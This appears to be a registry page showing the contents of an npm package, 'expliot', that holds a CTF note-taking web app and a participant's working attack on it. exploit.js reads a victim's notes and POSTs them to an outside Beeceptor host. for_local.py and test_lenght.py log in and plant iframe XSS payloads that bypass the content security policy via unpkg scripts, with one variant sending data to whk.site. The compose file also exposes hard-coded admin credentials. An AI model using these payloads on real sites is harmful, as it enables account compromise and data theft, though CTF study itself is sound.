expliot 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/app/Dockerfile +25 -0
- package/app/app.py +157 -0
- package/app/static/main.js +48 -0
- package/app/static/note.js +32 -0
- package/app/templates/index.html +54 -0
- package/app/templates/login.html +54 -0
- package/app/templates/note.html +41 -0
- package/app/uwsgi.ini +5 -0
- package/bot/Dockerfile +20 -0
- package/bot/bot.py +43 -0
- package/bot/run.sh +6 -0
- package/docker-compose.yml +20 -0
- package/exploit.js +16 -0
- package/for_local.py +47 -0
- package/package.json +11 -0
- package/test_lenght.py +88 -0
package/app/Dockerfile
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
FROM python:alpine
|
2
|
+
RUN pip3 install flask redis rq
|
3
|
+
|
4
|
+
COPY . /app
|
5
|
+
|
6
|
+
WORKDIR /app
|
7
|
+
|
8
|
+
RUN adduser -D -u 1000 ctf
|
9
|
+
RUN chown -R ctf:ctf /app
|
10
|
+
RUN chmod -R 555 /app && chmod -R 744 /app/notes
|
11
|
+
|
12
|
+
RUN mkdir -p /app/notes/admin && rm -rf /app/notes/admin/*
|
13
|
+
RUN UUID=$(python -c 'import uuid; print(uuid.uuid4(), end="")') && \
|
14
|
+
echo -e "admin\nFLAG1\nFLAG{flag-1}" > "/app/notes/admin/$UUID"
|
15
|
+
|
16
|
+
RUN chmod -R 555 /app/notes/admin
|
17
|
+
|
18
|
+
RUN echo 'FLAG{flag-2}' > "/flag2-$(tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c 16).txt" && \
|
19
|
+
chmod 444 /flag2-*
|
20
|
+
|
21
|
+
USER ctf
|
22
|
+
|
23
|
+
|
24
|
+
CMD [ "sh", "-c", "flask run --host=0.0.0.0 --port=5000" ]
|
25
|
+
|
package/app/app.py
ADDED
@@ -0,0 +1,157 @@
|
|
1
|
+
from flask import Flask, render_template, request, redirect, url_for, flash, jsonify, session
|
2
|
+
from uuid import uuid4
|
3
|
+
from functools import wraps
|
4
|
+
from secrets import token_urlsafe
|
5
|
+
import os
|
6
|
+
import re
|
7
|
+
import sqlite3
|
8
|
+
import urllib.request
|
9
|
+
|
10
|
+
|
11
|
+
app = Flask(__name__)
|
12
|
+
app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY", 'super secret key')
|
13
|
+
|
14
|
+
from rq import Queue
|
15
|
+
from redis import Redis
|
16
|
+
app.queue = Queue(connection=Redis('xss-bot'))
|
17
|
+
|
18
|
+
NOTES_DIR = "notes"
|
19
|
+
|
20
|
+
users = {"admin": os.environ.get("ADMIN_PASSWORD", "admin")}
|
21
|
+
|
22
|
+
|
23
|
+
def login_required(f):
|
24
|
+
@wraps(f)
|
25
|
+
def decorated_function(*args, **kwargs):
|
26
|
+
if not "username" in session:
|
27
|
+
flash("You must be logged in to view this page!", "error")
|
28
|
+
return redirect(url_for("login"))
|
29
|
+
return f(*args, **kwargs)
|
30
|
+
|
31
|
+
return decorated_function
|
32
|
+
|
33
|
+
|
34
|
+
@app.after_request
|
35
|
+
def add_header(response):
|
36
|
+
# add content security policy header
|
37
|
+
response.headers['Content-Security-Policy'] = "default-src 'self'; style-src 'unsafe-inline'; script-src 'self' https://unpkg.com/"
|
38
|
+
return response
|
39
|
+
|
40
|
+
@app.get("/")
|
41
|
+
@login_required
|
42
|
+
def index():
|
43
|
+
return render_template("index.html")
|
44
|
+
|
45
|
+
|
46
|
+
@app.get("/login")
|
47
|
+
def login():
|
48
|
+
return render_template("login.html")
|
49
|
+
|
50
|
+
|
51
|
+
@app.post("/login")
|
52
|
+
def action_login():
|
53
|
+
username = request.form.get("username")
|
54
|
+
password = request.form.get("password")
|
55
|
+
|
56
|
+
if len(username) < 5 or len(password) < 5:
|
57
|
+
flash("Username or password too short!", "error")
|
58
|
+
return redirect(url_for("login"))
|
59
|
+
|
60
|
+
if not re.match(r"^[a-zA-Z0-9_]+$", username):
|
61
|
+
flash(
|
62
|
+
"Username must only contain alphanumeric characters and underscores!",
|
63
|
+
"error"
|
64
|
+
)
|
65
|
+
return redirect(url_for("login"))
|
66
|
+
|
67
|
+
if username in users and users[username] == password:
|
68
|
+
session["username"] = username
|
69
|
+
return redirect(url_for("index"))
|
70
|
+
elif username not in users and not os.path.exists(os.path.join(NOTES_DIR, username)):
|
71
|
+
users[username] = password
|
72
|
+
os.mkdir(os.path.join(NOTES_DIR, username))
|
73
|
+
flash("Successfully registered!", "success")
|
74
|
+
return redirect(url_for("login"))
|
75
|
+
else:
|
76
|
+
flash("Invalid username or password!", "error")
|
77
|
+
return redirect(url_for("login"))
|
78
|
+
|
79
|
+
@app.get("/note")
|
80
|
+
def note():
|
81
|
+
return render_template("note.html")
|
82
|
+
|
83
|
+
|
84
|
+
@app.get("/api/notes/all")
|
85
|
+
@login_required
|
86
|
+
def api_notes():
|
87
|
+
notes = []
|
88
|
+
user_dir = os.path.join(NOTES_DIR, session["username"])
|
89
|
+
for filename in os.listdir(user_dir):
|
90
|
+
with open(os.path.join(user_dir, filename)) as f:
|
91
|
+
notes.append({
|
92
|
+
"id": filename,
|
93
|
+
"author": f.readline().strip(),
|
94
|
+
"title": f.readline().strip()
|
95
|
+
})
|
96
|
+
return jsonify(notes)
|
97
|
+
|
98
|
+
|
99
|
+
@app.post("/api/notes")
|
100
|
+
@login_required
|
101
|
+
def api_create_note():
|
102
|
+
if session["username"] == "admin":
|
103
|
+
return {"error": "Admin cannot create notes!"}, 403
|
104
|
+
user_dir = os.path.join(NOTES_DIR, session["username"])
|
105
|
+
note_id = str(uuid4())
|
106
|
+
title, content = request.json["title"], request.json["content"]
|
107
|
+
if len(title) > 48 or len(content) > 256:
|
108
|
+
return {"error": "Title or content too long!"}, 400
|
109
|
+
with open(os.path.join(user_dir, note_id), "w") as f:
|
110
|
+
f.write(session["username"] + "\n")
|
111
|
+
f.write(title + "\n")
|
112
|
+
f.write(content)
|
113
|
+
return {"id": note_id}
|
114
|
+
|
115
|
+
|
116
|
+
@app.get("/api/notes")
|
117
|
+
@login_required
|
118
|
+
def api_get_note_content():
|
119
|
+
note_id = request.args.get("id")
|
120
|
+
author = request.args.get("author") or session.get("username")
|
121
|
+
|
122
|
+
if not note_id or ".." in note_id:
|
123
|
+
return {"error": "Invalid note ID!"}, 400
|
124
|
+
|
125
|
+
if not author or not re.match(r"^[a-zA-Z0-9_]+$", author):
|
126
|
+
return {"error": "Invalid author!"}, 400
|
127
|
+
|
128
|
+
user_dir = os.path.join(NOTES_DIR, author)
|
129
|
+
|
130
|
+
if not os.path.exists(os.path.join(user_dir, note_id)):
|
131
|
+
return {"error": "Note not found!"}, 404
|
132
|
+
|
133
|
+
with open(os.path.join(user_dir, note_id)) as f:
|
134
|
+
note_author = f.readline().strip()
|
135
|
+
title = f.readline().strip()
|
136
|
+
content = f.read().strip()
|
137
|
+
|
138
|
+
if session['username'] != 'admin' and note_author != session["username"]:
|
139
|
+
return {"error": "You do not have permission to view this note!"}, 403
|
140
|
+
|
141
|
+
return {"author": note_author, "title": title, "content": content}
|
142
|
+
|
143
|
+
|
144
|
+
@app.post("/report")
|
145
|
+
def report():
|
146
|
+
note_id = request.form.get("note_id", "") # uuid
|
147
|
+
author = request.form.get("author", "")
|
148
|
+
|
149
|
+
if not re.match(r"^[a-zA-Z0-9_]+$", author) or not re.match(r"^[0-9a-f]{8}-([0-9a-f]{4}-){3}[0-9a-f]{12}$", note_id):
|
150
|
+
return "Invalid author or note ID!"
|
151
|
+
|
152
|
+
if not os.path.exists(os.path.join(NOTES_DIR, author, note_id)):
|
153
|
+
return "Note not found!"
|
154
|
+
|
155
|
+
app.queue.enqueue("bot.browse", "/note?id=" + note_id + "&author=" + author)
|
156
|
+
|
157
|
+
return "<meta http-equiv='refresh' content='1;url=/'><h1>Report submitted!</h1>"
|
@@ -0,0 +1,48 @@
|
|
1
|
+
function updateNoteList() {
|
2
|
+
fetch('/api/notes/all')
|
3
|
+
.then(res => res.json())
|
4
|
+
.then(result => {
|
5
|
+
const noteList = document.querySelector('#noteList');
|
6
|
+
noteList.innerHTML = '';
|
7
|
+
result.forEach(note => {
|
8
|
+
const div = document.createElement('div');
|
9
|
+
div.className = 'note'
|
10
|
+
const h2 = document.createElement('h2');
|
11
|
+
h2.innerText = note.title;
|
12
|
+
div.appendChild(h2);
|
13
|
+
const p = document.createElement('p');
|
14
|
+
p.innerText = `Author: ${note.author || '(anonymous)'}`;
|
15
|
+
div.appendChild(p);
|
16
|
+
|
17
|
+
div.onclick = () => location.href = `/note?id=${note.id}`;
|
18
|
+
noteList.appendChild(div);
|
19
|
+
});
|
20
|
+
})
|
21
|
+
}
|
22
|
+
|
23
|
+
const form = document.querySelector('#form');
|
24
|
+
form.addEventListener('submit', (e) => {
|
25
|
+
e.preventDefault();
|
26
|
+
const data = {
|
27
|
+
title: form.title.value,
|
28
|
+
content: form.content.value
|
29
|
+
};
|
30
|
+
fetch('/api/notes', {
|
31
|
+
method: 'POST',
|
32
|
+
body: JSON.stringify(data),
|
33
|
+
headers: new Headers({
|
34
|
+
'Content-Type': 'application/json'
|
35
|
+
})
|
36
|
+
}).then(res => res.json())
|
37
|
+
.then(result => {
|
38
|
+
form.title.value = '';
|
39
|
+
form.content.value = '';
|
40
|
+
if (result.error) {
|
41
|
+
alert(result.message);
|
42
|
+
return;
|
43
|
+
}
|
44
|
+
updateNoteList();
|
45
|
+
})
|
46
|
+
})
|
47
|
+
|
48
|
+
updateNoteList();
|
@@ -0,0 +1,32 @@
|
|
1
|
+
const noteId = new URLSearchParams(window.location.search).get('id');
|
2
|
+
const author = new URLSearchParams(window.location.search).get('author');
|
3
|
+
let apiUrl = '/api/notes?id=' + noteId;
|
4
|
+
if (author) apiUrl += '&author=' + author;
|
5
|
+
fetch(apiUrl)
|
6
|
+
.then(res => res.json())
|
7
|
+
.then(result => {
|
8
|
+
if (result.error) {
|
9
|
+
alert(result.error);
|
10
|
+
location.href = "/";
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
const note = document.querySelector('#note');
|
14
|
+
note.innerHTML = `
|
15
|
+
<h1>${result.title}</h1>
|
16
|
+
<p>${marked.parse(result.content)}</p>
|
17
|
+
<hr/>
|
18
|
+
<span style="color: #999">
|
19
|
+
By @${result.author}・🔒 Private・
|
20
|
+
<form action="/report" style="display: inline" method="post">
|
21
|
+
<input type="hidden" name="note_id" value="${noteId}">
|
22
|
+
<input type="hidden" name="author" value="${result.author}">
|
23
|
+
<input type="submit" value="Report">
|
24
|
+
</form>
|
25
|
+
</span>
|
26
|
+
`;
|
27
|
+
note.querySelector('form').addEventListener('submit', e => {
|
28
|
+
e.preventDefault();
|
29
|
+
if (!confirm('Are you sure to report this note?')) return;
|
30
|
+
e.target.submit();
|
31
|
+
})
|
32
|
+
});
|
@@ -0,0 +1,54 @@
|
|
1
|
+
<!DOCTYPE html>
|
2
|
+
<html lang="en">
|
3
|
+
|
4
|
+
<head>
|
5
|
+
<meta charset="UTF-8">
|
6
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
7
|
+
<title>Note</title>
|
8
|
+
<style>
|
9
|
+
body {
|
10
|
+
font-family: Arial, Helvetica, sans-serif;
|
11
|
+
padding: 0 20vw;
|
12
|
+
}
|
13
|
+
|
14
|
+
@media screen and (max-width: 768px) {
|
15
|
+
body {
|
16
|
+
padding: 0;
|
17
|
+
}
|
18
|
+
}
|
19
|
+
|
20
|
+
#noteList {
|
21
|
+
display: flex;
|
22
|
+
flex-wrap: wrap;
|
23
|
+
}
|
24
|
+
|
25
|
+
.note {
|
26
|
+
cursor: pointer;
|
27
|
+
width: 250px;
|
28
|
+
border: 1px solid #ccc;
|
29
|
+
margin: 10px;
|
30
|
+
padding: 10px;
|
31
|
+
}
|
32
|
+
|
33
|
+
.note:hover {
|
34
|
+
background: #eee;
|
35
|
+
}
|
36
|
+
</style>
|
37
|
+
</head>
|
38
|
+
|
39
|
+
<body>
|
40
|
+
<h1>Online Note</h1>
|
41
|
+
<form id="form">
|
42
|
+
<p><input type="text" name="title" placeholder="Title"></p>
|
43
|
+
<p><textarea name="content" cols="30" rows="3" placeholder="> Markdown Content"></textarea></p>
|
44
|
+
<input type="submit" value="Add note">
|
45
|
+
</form>
|
46
|
+
|
47
|
+
<hr>
|
48
|
+
<h2>Note list</h2>
|
49
|
+
<div id="noteList">...</div>
|
50
|
+
|
51
|
+
<script src="/static/main.js"></script>
|
52
|
+
</body>
|
53
|
+
|
54
|
+
</html>
|
@@ -0,0 +1,54 @@
|
|
1
|
+
<!DOCTYPE html>
|
2
|
+
<html lang="en">
|
3
|
+
|
4
|
+
<head>
|
5
|
+
<meta charset="UTF-8">
|
6
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
7
|
+
<title>Login</title>
|
8
|
+
<style>
|
9
|
+
body {
|
10
|
+
display: flex;
|
11
|
+
flex-direction: column;
|
12
|
+
align-items: center;
|
13
|
+
justify-content: center;
|
14
|
+
min-height: 100vh;
|
15
|
+
}
|
16
|
+
|
17
|
+
form {
|
18
|
+
display: flex;
|
19
|
+
flex-direction: column;
|
20
|
+
align-items: center;
|
21
|
+
justify-content: center;
|
22
|
+
}
|
23
|
+
|
24
|
+
input {
|
25
|
+
margin: 10px;
|
26
|
+
padding: 10px;
|
27
|
+
width: 200px;
|
28
|
+
}
|
29
|
+
|
30
|
+
hr {
|
31
|
+
width: 100%;
|
32
|
+
}
|
33
|
+
|
34
|
+
.message {
|
35
|
+
color: red;
|
36
|
+
}
|
37
|
+
</style>
|
38
|
+
</head>
|
39
|
+
|
40
|
+
<body>
|
41
|
+
{% for message in get_flashed_messages() %}
|
42
|
+
<div class="message">{{ message }}</div>
|
43
|
+
{% endfor %}
|
44
|
+
|
45
|
+
<h1>Login & Register</h1>
|
46
|
+
<form action="/login" method="post" id="login-form">
|
47
|
+
<input type="text" name="username" placeholder="username">
|
48
|
+
<input type="password" name="password" placeholder="password">
|
49
|
+
<input type="submit" value="login">
|
50
|
+
</form>
|
51
|
+
|
52
|
+
</body>
|
53
|
+
|
54
|
+
</html>
|
@@ -0,0 +1,41 @@
|
|
1
|
+
<!DOCTYPE html>
|
2
|
+
<html lang="en">
|
3
|
+
|
4
|
+
<head>
|
5
|
+
<meta charset="UTF-8">
|
6
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
7
|
+
<title>Note</title>
|
8
|
+
<style>
|
9
|
+
body {
|
10
|
+
font-family: Arial, Helvetica, sans-serif;
|
11
|
+
padding: 0 20vw;
|
12
|
+
}
|
13
|
+
|
14
|
+
@media screen and (max-width: 768px) {
|
15
|
+
body {
|
16
|
+
padding: 0;
|
17
|
+
}
|
18
|
+
}
|
19
|
+
|
20
|
+
hr {
|
21
|
+
margin: 20px 0;
|
22
|
+
/* color */
|
23
|
+
border-top: 1px solid #ddd;
|
24
|
+
border-bottom: 1px solid #ddd;
|
25
|
+
}
|
26
|
+
|
27
|
+
#note {
|
28
|
+
border: 1px solid #ccc;
|
29
|
+
margin: auto 0;
|
30
|
+
padding: 10px;
|
31
|
+
}
|
32
|
+
</style>
|
33
|
+
</head>
|
34
|
+
|
35
|
+
<body>
|
36
|
+
<div id="note"></div>
|
37
|
+
<script src="https://unpkg.com/marked@11.1.0/marked.min.js"></script>
|
38
|
+
<script src="/static/note.js"></script>
|
39
|
+
</body>
|
40
|
+
|
41
|
+
</html>
|
package/app/uwsgi.ini
ADDED
package/bot/Dockerfile
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
FROM python:3.11
|
2
|
+
|
3
|
+
|
4
|
+
RUN apt update && \
|
5
|
+
apt install -y --no-install-recommends chromium-driver redis-server
|
6
|
+
|
7
|
+
|
8
|
+
RUN apt update && \
|
9
|
+
apt install -y --no-install-recommends chromium
|
10
|
+
|
11
|
+
RUN rm -rf /var/lib/apt/lists/*
|
12
|
+
|
13
|
+
RUN pip3 install --no-cache-dir selenium redis rq
|
14
|
+
|
15
|
+
COPY bot.py /bot.py
|
16
|
+
COPY run.sh /run.sh
|
17
|
+
RUN chmod +x /run.sh
|
18
|
+
|
19
|
+
RUN useradd --no-create-home --home-dir / --shell /bin/false user
|
20
|
+
CMD bash /run.sh
|
package/bot/bot.py
ADDED
@@ -0,0 +1,43 @@
|
|
1
|
+
#!/usr/bin/env python3
|
2
|
+
import time
|
3
|
+
import os
|
4
|
+
|
5
|
+
from selenium.webdriver import Chrome
|
6
|
+
from selenium.webdriver.common.by import By
|
7
|
+
from selenium.webdriver.chrome.options import Options
|
8
|
+
from selenium.common.exceptions import TimeoutException, WebDriverException
|
9
|
+
|
10
|
+
TIMEOUT = 5
|
11
|
+
|
12
|
+
|
13
|
+
def browse(path):
|
14
|
+
options = Options()
|
15
|
+
options.headless = True
|
16
|
+
options.add_argument('--headless')
|
17
|
+
options.add_argument('--no-sandbox')
|
18
|
+
options.add_argument('--disable-dev-shm-usage')
|
19
|
+
options.add_argument('--no-expose-wasm')
|
20
|
+
options.add_argument('--js-flags=--jitless')
|
21
|
+
|
22
|
+
chrome = Chrome(options=options)
|
23
|
+
chrome.set_page_load_timeout(TIMEOUT)
|
24
|
+
chrome.set_script_timeout(TIMEOUT)
|
25
|
+
|
26
|
+
try:
|
27
|
+
# login
|
28
|
+
base_url = 'http://web'
|
29
|
+
username, password = 'admin', os.getenv('ADMIN_PASSWORD')
|
30
|
+
|
31
|
+
chrome.get(base_url + "/login")
|
32
|
+
chrome.find_element('name','username').send_keys(username)
|
33
|
+
chrome.find_element('name','password').send_keys(password)
|
34
|
+
# input[type="submit"]
|
35
|
+
chrome.find_element(By.CSS_SELECTOR, 'input[type="submit"]').click()
|
36
|
+
|
37
|
+
# visit
|
38
|
+
chrome.get(base_url + path)
|
39
|
+
time.sleep(TIMEOUT)
|
40
|
+
except (TimeoutException, WebDriverException) as e:
|
41
|
+
print(e)
|
42
|
+
finally:
|
43
|
+
chrome.quit()
|
package/bot/run.sh
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
version: "3.5"
|
2
|
+
|
3
|
+
x-share-env: &share-env
|
4
|
+
ADMIN_PASSWORD: ztLsRe2dX8praTtf5L1FBSY5VuSSXy0Edb01q3AQVgs
|
5
|
+
SECRET_KEY: jR8swB-gpkgILCG2HCMkz1LVWG0Jlj7ANaaRW4ohSZI
|
6
|
+
|
7
|
+
services:
|
8
|
+
web:
|
9
|
+
depends_on:
|
10
|
+
- xss-bot
|
11
|
+
build: ./app
|
12
|
+
ports:
|
13
|
+
- 10082:5000/tcp
|
14
|
+
environment:
|
15
|
+
<<: *share-env
|
16
|
+
|
17
|
+
xss-bot:
|
18
|
+
build: ./bot
|
19
|
+
environment:
|
20
|
+
<<: *share-env
|
package/exploit.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
function leakDataFromEndpoint() {
|
2
|
+
fetch('http://10.113.184.121:10082/api/notes/all')
|
3
|
+
.then(response => response.json())
|
4
|
+
.then(data => {
|
5
|
+
fetch('https://ntuctf.free.beeceptor.com', {
|
6
|
+
method: 'POST',
|
7
|
+
body: JSON.stringify(data),
|
8
|
+
headers: { 'Content-Type': 'application/json' }
|
9
|
+
});
|
10
|
+
})
|
11
|
+
.catch(error => console.error('Error:', error));
|
12
|
+
}
|
13
|
+
|
14
|
+
window.parent.leakDataFromEndpoint = leakDataFromEndpoint;
|
15
|
+
|
16
|
+
leakDataFromEndpoint();
|
package/for_local.py
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
import requests
|
2
|
+
from bs4 import BeautifulSoup
|
3
|
+
|
4
|
+
# The login URL and the target URL for creating a note
|
5
|
+
login_url = 'http://140.112.29.205:10082/login'
|
6
|
+
create_note_url = 'http://140.112.29.205:10082/api/notes'
|
7
|
+
|
8
|
+
# Your login credentials
|
9
|
+
credentials = {
|
10
|
+
'username': '12345',
|
11
|
+
'password': '12345'
|
12
|
+
}
|
13
|
+
|
14
|
+
|
15
|
+
#測試npm-2
|
16
|
+
xss_payload = """
|
17
|
+
<iframe srcdoc="
|
18
|
+
<script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
|
19
|
+
<script src='https://unpkg.com//test_ctf_ntu_fetch_3/test_ctf_ntu_fetch.js'></script>
|
20
|
+
<br csp= 'leakDataFromEndpoint()'>
|
21
|
+
"></iframe>
|
22
|
+
"""
|
23
|
+
|
24
|
+
# Start a session so we can have persistent cookies
|
25
|
+
session = requests.session()
|
26
|
+
|
27
|
+
# First, login to the site
|
28
|
+
login_response = session.post(login_url, data=credentials)
|
29
|
+
|
30
|
+
# Check if login was successful
|
31
|
+
if login_response.ok:
|
32
|
+
# Now, create the note with the XSS payload
|
33
|
+
note_data = {
|
34
|
+
'title': 'TestNote_1',
|
35
|
+
'content': xss_payload # Inserting the XSS payload into the note content
|
36
|
+
}
|
37
|
+
create_note_response = session.post(create_note_url, json=note_data)
|
38
|
+
|
39
|
+
# Check if the request to create a note was successful
|
40
|
+
if create_note_response.ok:
|
41
|
+
print('Note with XSS payload created successfully')
|
42
|
+
else:
|
43
|
+
print('Failed to create note with XSS payload')
|
44
|
+
print('Status Code:', create_note_response.status_code)
|
45
|
+
print('Response:', create_note_response.text)
|
46
|
+
else:
|
47
|
+
print('Login failed')
|
package/package.json
ADDED
package/test_lenght.py
ADDED
@@ -0,0 +1,88 @@
|
|
1
|
+
str = '''<iframe srcdoc="<script src='//unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script><script>fetch('/api/notes/all').then(r=>r.json()).then(d=>d.forEach(n=>{let u='//whk.site/7b314';fetch(u,{method:'POST',body:JSON.stringify({id:n.id})})}));</script>"></iframe>
|
2
|
+
'''
|
3
|
+
|
4
|
+
print(len(str))
|
5
|
+
|
6
|
+
|
7
|
+
import requests
|
8
|
+
from bs4 import BeautifulSoup
|
9
|
+
|
10
|
+
# The login URL and the target URL for creating a note
|
11
|
+
login_url = 'http://10.113.184.121:10082/login'
|
12
|
+
create_note_url = 'http://10.113.184.121:10082/api/notes'
|
13
|
+
|
14
|
+
# Your login credentials
|
15
|
+
credentials = {
|
16
|
+
'username': 'abcabc',
|
17
|
+
'password': 'abcabc'
|
18
|
+
}
|
19
|
+
|
20
|
+
# The XSS payload using an iframe that includes a script from unpkg.com and an attempt to execute alert(1)
|
21
|
+
|
22
|
+
# 成功塞入alert
|
23
|
+
# xss_payload = ("<iframe srcdoc=\"<script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'>"
|
24
|
+
# "</script><br csp='alert(1)'>\"></iframe>")
|
25
|
+
|
26
|
+
# 測試bee -1
|
27
|
+
# xss_payload = """
|
28
|
+
# <iframe srcdoc=\"
|
29
|
+
# <script>
|
30
|
+
# // 使用fetch从目标网站获取数据
|
31
|
+
# fetch('login/api/notes/all')
|
32
|
+
# .then(response => response.json())
|
33
|
+
# .then(data => {
|
34
|
+
# // 数据获取成功后,将数据发送到Beeceptor端点
|
35
|
+
# fetch('https://ntuctf.free.beeceptor.com', {
|
36
|
+
# method: 'POST',
|
37
|
+
# body: JSON.stringify(data),
|
38
|
+
# headers: {'Content-Type': 'application/json'}
|
39
|
+
# });
|
40
|
+
# })
|
41
|
+
# .catch(error => console.error('Error:', error));
|
42
|
+
# </script>
|
43
|
+
# \"></iframe>
|
44
|
+
# """
|
45
|
+
|
46
|
+
#測試npm-1
|
47
|
+
# xss_payload = """
|
48
|
+
# <iframe srcdoc="
|
49
|
+
# <script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
|
50
|
+
# <script src='https://unpkg.com/test_ctf_ntu_fetch/test_ctf_ntu_fetch.js'></script>
|
51
|
+
# <script>window.leakDataFromEndpoint();</script>
|
52
|
+
# "></iframe>
|
53
|
+
# """
|
54
|
+
|
55
|
+
#測試npm-2
|
56
|
+
xss_payload = """
|
57
|
+
<iframe srcdoc="
|
58
|
+
<script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
|
59
|
+
<script src='https://unpkg.com//test_ctf_ntu_fetch_3/test_ctf_ntu_fetch.js'></script>
|
60
|
+
<br csp= 'leakDataFromEndpoint()'>
|
61
|
+
"></iframe>
|
62
|
+
"""
|
63
|
+
|
64
|
+
|
65
|
+
# Start a session so we can have persistent cookies
|
66
|
+
session = requests.session()
|
67
|
+
|
68
|
+
# First, login to the site
|
69
|
+
login_response = session.post(login_url, data=credentials)
|
70
|
+
|
71
|
+
# Check if login was successful
|
72
|
+
if login_response.ok:
|
73
|
+
# Now, create the note with the XSS payload
|
74
|
+
note_data = {
|
75
|
+
'title': 'XSS_npm_7',
|
76
|
+
'content': "xss_payload" # Inserting the XSS payload into the note content
|
77
|
+
}
|
78
|
+
create_note_response = session.post(create_note_url, json=note_data)
|
79
|
+
|
80
|
+
# Check if the request to create a note was successful
|
81
|
+
if create_note_response.ok:
|
82
|
+
print('Note with XSS payload created successfully')
|
83
|
+
else:
|
84
|
+
print('Failed to create note with XSS payload')
|
85
|
+
print('Status Code:', create_note_response.status_code)
|
86
|
+
print('Response:', create_note_response.text)
|
87
|
+
else:
|
88
|
+
print('Login failed')
|